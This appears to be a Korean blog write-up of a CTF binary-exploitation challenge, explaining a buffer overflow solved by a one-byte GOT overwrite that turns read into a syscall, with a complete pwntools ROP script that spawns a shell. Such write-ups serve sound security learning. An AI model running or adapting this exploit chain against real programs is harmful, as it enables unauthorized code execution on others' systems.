정말 간단한 bof로 보여졌다....
rbp-0x80보다 많은 512 바이트를 받으니까.
근데 막상 문제를 보면 write도 없고 쓸 수 있는 함수가 없어서 read만 가지고는 평소처럼 rop를 할 수 없었다.
근데 운 좋게도 문제를 풀 때 어떤 블로그를 띄워 놓고 있었는데 그 블로그에서 말하는 바로는 각 함수에서 몇 바이트만 가다 보면 syscall이 있다는 사실을 적어 놨다.
이 문제의 read@got를 봤다.
read@got = 0x7ffff7b04250 일 때
read의 syscall은 마지막 한바이트만 바뀐 0x7ffff7b0425e다.
read@got를 한바이트만 GOT Overwrite해서 syscall로 만들어 준 다음, rax값만 잘 변조하면 read@got를 syscall로 움직여서 원하는 함수를 마음대로 실행할 수 있다.
rax값은 read 함수의 반환 값으로 조절이 가능하고, write함수도 마찬가지로 반환값으로 원하는 rax를 조절할 수 있다.
내 페이로드는 다음과 같다.
read(0, bss+0x100, 1);
read(0, read@got, 1);
read(1, read@got, 59); // rax 조절을 위한 실행
read@got(bss+0x100, 0, 0); // ececve(bss+0x100, 0, 0);
이다.
from pwn import * p = process("./pwn2") elf = ELF("./pwn2") read_plt = elf.plt['read'] read_got = elf.got['read'] pop_rdi_rsi_rdx = 0x400531 bss = elf.bss() payload = "A"*136 # with sfp payload += p64(pop_rdi_rsi_rdx) payload += p64(0) payload += p64(bss+0x100) #/bin/sh payload += p64(len("/bin/sh\x00")) payload += p64(read_plt) payload += p64(pop_rdi_rsi_rdx) payload += p64(0) payload += p64(read_got) payload += p64(1) payload += p64(read_plt) payload += p64(pop_rdi_rsi_rdx) payload += p64(1) payload += p64(read_got) payload += p64(59) payload += p64(read_plt) payload += p64(pop_rdi_rsi_rdx) payload += p64(bss+0x100) payload += p64(0) payload += p64(0) payload += p64(read_plt) #pause() p.sendline(payload) #pause() p.send("/bin/sh\x00") p.sendline("\x5e") p.interactive()
추가로 xor eax 가젯으로 eax를 조절하는 방법도 있다.
'CTF' 카테고리의 다른 글
facebook CTF 2019 overfloat (0) | 2019.06.03 |
---|---|
defcon2019 speedrun (0) | 2019.05.28 |
hackzone 2019 pwn1 (0) | 2019.05.07 |
BTH_CTF 2019 (0) | 2019.05.01 |
plaid 2019 can you guess me? (0) | 2019.04.15 |